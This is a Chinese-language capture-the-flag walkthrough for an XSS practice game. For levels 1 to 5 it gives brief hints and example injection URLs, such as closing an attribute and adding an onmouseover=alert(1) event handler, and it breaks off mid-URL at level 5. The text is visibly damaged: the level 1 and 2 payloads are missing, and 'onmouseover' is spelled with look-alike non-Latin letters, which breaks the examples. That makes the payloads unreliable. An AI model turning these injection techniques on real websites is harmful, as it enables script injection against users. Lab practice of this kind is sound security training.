ctf xss利用_【CTF】某xss练手小游戏

http://test.xss.tv

1、http://47.94.13.75/test/level1.php?name=test

直接插入即可，如：

http://47.94.13.75/test/level1.php?name=

2、http://47.94.13.75/test/level2.php?keyword=test

文本框中输入，闭合一下即可，如：

http://47.94.13.75/test/level2.php?keyword=">

3、http://47.94.13.75/test/level3.php?writing=wait

尖括号被编码，直接使用事件即可，如：

http://47.94.13.75/test/level3.php?keyword=' οnmοuseοver=alert(1) '&submit=搜索

4、http://47.94.13.75/test/level4.php?keyword=try harder!

与第三关类似，使用事件来闭合，弹窗，如：

http://47.94.13.75/test/level4.php?keyword=" οnmοuseοver=alert(1) "&submit=搜索

5、http://47.94.13.75/test/level5.php?keyword=find a way out!

事件被插入特殊符号，改用其它标签，如：

http://47.94.13.75/test/leve